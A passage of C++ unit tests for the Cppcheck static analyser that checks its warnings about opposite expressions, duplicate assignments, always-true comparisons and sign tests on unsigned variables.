ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( a == !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( a != !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(a) == a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(a) != a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(!a) == !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(!a) != !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f1(bool a) {\\n\"\n \" const bool b = a;\\n\"\n \" if( a == !(b) ) {}\\n\"\n \" if( b == !(a) ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\"\n \"[test.cpp:2:20] -> [test.cpp:4:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f2(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( *a == !(b) ) {}\\n\"\n \" if( b == !(*a) ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:12]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\"\n \"[test.cpp:2:20] -> [test.cpp:4:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { a = !a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) { if( a < -a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '<'. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(int a) { a -= -a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) { a = a / (-a); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int i){ return !((i - 1) & i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(unsigned i){ return (x > 0) && (x & (x-1)) == 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void A::f(bool a, bool c)\\n\"\n \"{\\n\"\n \" const bool b = a;\\n\"\n \" if(c) { a = false; }\\n\"\n \" if(b && !a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool c) {\\n\"\n \" const bool b = a;\\n\"\n \" if(c) { a = false; }\\n\"\n \" if(b && !a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" bool x = a;\\n\"\n \" dostuff();\\n\"\n \" if (x && a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const bool b = g();\\n\"\n \" if (!b && g()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = a[42];\\n\"\n \" if( b == !(a[42]) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = a[42];\\n\"\n \" if( a[42] == !(b) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:15]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( b == !(*a) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( *a == !(b) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:12]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(uint16_t u) {\\n\" // #9342\n \" if (u != (u & -u))\\n\"\n \" return false;\\n\"\n \" if (u != (-u & u))\\n\"\n \" return false;\\n\"\n \" return true;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateVarExpression() {\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f();\\n\"\n \" int j = f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" Foo f2 = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9] -> [test.cpp:5:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = 1 + f();\\n\"\n \" int j = 1 + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f() + 1;\\n\"\n \" int j = 1 + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int x = f();\\n\"\n \" int i = x + 1;\\n\"\n \" int j = f() + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f() + f();\\n\"\n \" int j = f() + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f(int) __attribute__((pure));\\n\"\n \"int g(int) __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f(int) __attribute__((pure));\\n\"\n \"int g(int) __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" const int x = 0;\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(const int * p, const int * q) {\\n\"\n \" int i = *p;\\n\"\n \" int j = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = 0;\\n\"\n \" int j = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = -1;\\n\"\n \" int j = -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int);\\n\"\n \"void test() {\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f();\\n\"\n \"int g();\\n\"\n \"void test() {\\n\"\n \" int i = f() || f();\\n\"\n \" int j = f() && f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {};\\n\"\n \"void test() {\\n\"\n \" Foo i = Foo();\\n\"\n \" Foo j = Foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {};\\n\"\n \"void test() {\\n\"\n \" Foo i = Foo{};\\n\"\n \" Foo j = Foo{};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo { int f() const; float g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f(); int g(); };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = f();\\n\"\n \" int j = f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = ++x;\\n\"\n \" int j = ++x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x++;\\n\"\n \" int j = x++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = --x;\\n\"\n \" int j = --x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x--;\\n\"\n \" int j = x--;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x + 1;\\n\"\n \" int j = 1 + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateVarExpressionUnique() {\n check(\"struct SW { int first; };\\n\"\n \"void foo(SW* x) {\\n\"\n \" int start = x->first;\\n\"\n \" int end = x->first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'start' and 'end'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:2:14]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct SW { int first; };\\n\"\n \"void foo(SW* x, int i, int j) {\\n\"\n \" int start = x->first;\\n\"\n \" int end = x->first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'start' and 'end'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:2:14]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct Foo { int f() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"void test(const int * p) {\\n\"\n \" int i = *p;\\n\"\n \" int j = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g(int) const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void duplicateVarExpressionAssign() {\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(i);\\n\"\n \" i = j;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" j = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" if (i == j) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:3:14] -> [test.cpp:4:14] -> [test.cpp:6:11]: (style) The comparison 'i == j' is always true because 'i' and 'j' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" if (i == a.x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:3:14] -> [test.cpp:6:11]: (style) The comparison 'i == a.x' is always true because 'i' and 'a.x' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(i);\\n\"\n \" if (j == a.x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:4:14] -> [test.cpp:6:11]: (style) The comparison 'j == a.x' is always true because 'j' and 'a.x' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // Issue #8612\n check(\"struct P\\n\"\n \"{\\n\"\n \" void func();\\n\"\n \" bool operator==(const P&) const;\\n\"\n \"};\\n\"\n \"struct X\\n\"\n \"{\\n\"\n \" P first;\\n\"\n \" P second;\\n\"\n \"};\\n\"\n \"bool bar();\\n\"\n \"void baz(const P&);\\n\"\n \"void foo(const X& x)\\n\"\n \"{\\n\"\n \" P current = x.first;\\n\"\n \" P previous = x.first;\\n\"\n \" while (true)\\n\"\n \" {\\n\"\n \" baz(current);\\n\"\n \" if (bar() && previous == current)\\n\"\n \" {\\n\"\n \" current.func();\\n\"\n \" }\\n\"\n \" previous = current;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:16:7] -> [test.cpp:15:7]: (style, inconclusive) Same expression used in consecutive assignments of 'current' and 'previous'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void duplicateVarExpressionCrash() {\n // Issue #8624\n check(\"struct X {\\n\"\n \" X();\\n\"\n \" int f() const;\\n\"\n \"};\\n\"\n \"void run() {\\n\"\n \" X x;\\n\"\n \" int a = x.f();\\n\"\n \" int b = x.f();\\n\"\n \" (void)a;\\n\"\n \" (void)b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:13] -> [test.cpp:7:13]: (style, inconclusive) Same expression used in consecutive assignments of 'a' and 'b'. [duplicateAssignExpression]\\n\", errout_str());\n\n // Issue #8712\n check(\"void f() {\\n\"\n \" unsigned char d;\\n\"\n \" d = d % 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"T f() {\\n\"\n \" T x = T();\\n\"\n \"}\\n\"\n \"int &a = f();\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Issue #8713\n check(\"class A {\\n\"\n \" int64_t B = 32768;\\n\"\n \" P m = MakeP(B);\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" uint32_t a = 42;\\n\"\n \" uint32_t b = uint32_t(A ::B / 1024);\\n\"\n \" int32_t c = int32_t(a / b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Issue #8709\n check(\"a b;\\n\"\n \"void c() {\\n\"\n \" switch (d) { case b:; }\\n\"\n \" double e(b);\\n\"\n \" if(e <= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10718\n // Should probably not be inconclusive\n check(\"struct a {\\n\"\n \" int b() const;\\n\"\n \" auto c() -> decltype(0) {\\n\"\n \" a d;\\n\"\n \" int e = d.b(), f = d.b();\\n\"\n \" return e + f;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:20] -> [test.cpp:5:9]: (style, inconclusive) Same expression used in consecutive assignments of 'e' and 'f'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void multiConditionSameExpression() {\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) continue;\\n\"\n \" if ((val > 0)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:12]: (style) The comparison 'val > 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" int *p = &val;n\"\n \" val = 1;\\n\"\n \" if (*p < 0) continue;\\n\"\n \" if ((*p > 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:8]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" int *p = &val;\\n\"\n \" if (*p < 0) continue;\\n\"\n \" if ((*p > 0)) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2] -> [test.cpp:3]: (style) The comparison '*p < 0' is always false.\\n\"\n \"[test.cpp:2] -> [test.cpp:4]: (style) The comparison '*p > 0' is always false.\\n\",\n \"[test.cpp:3:8]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if ((val > 0)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:14]: (style) The comparison 'val > 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if ((val < 0)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:14]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int activate = 0;\\n\"\n \" int foo = 0;\\n\"\n \" if (activate) {}\\n\"\n \" else if (foo) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSignOfUnsignedVariable() {\n check(\"void foo() {\\n\"\n \" for(unsigned char i = 10; i >= 0; i--) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Unsigned expression 'i' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(bool b) {\\n\"\n \" for(unsigned int i = 10; b || i >= 0; i--) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:35]: (style) Unsigned expression 'i' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(unsigned int x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x < 0u) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n const char code[] = \"void foo(unsigned x) {\\n\"\n \" int y = 0;\\n\"\n \" if (x < y) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n check(\"void foo(unsigned x) {\\n\"\n \" int y = 0;\\n\"\n \" if (b)\\n\"\n \" y = 1;\\n\"\n \" if (x < y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0UL > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x, unsigned y) {\\n\"\n \" if (x - y >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Unsigned expression 'x-y' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x >= 0ull) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0ll <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x < 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x < 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (0 > x && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (0 > x && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x >= 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x >= 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && 0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && 0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x < 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x < 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (0 > x || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (0 > x || y) {}\\n\"\n \"}\");\n 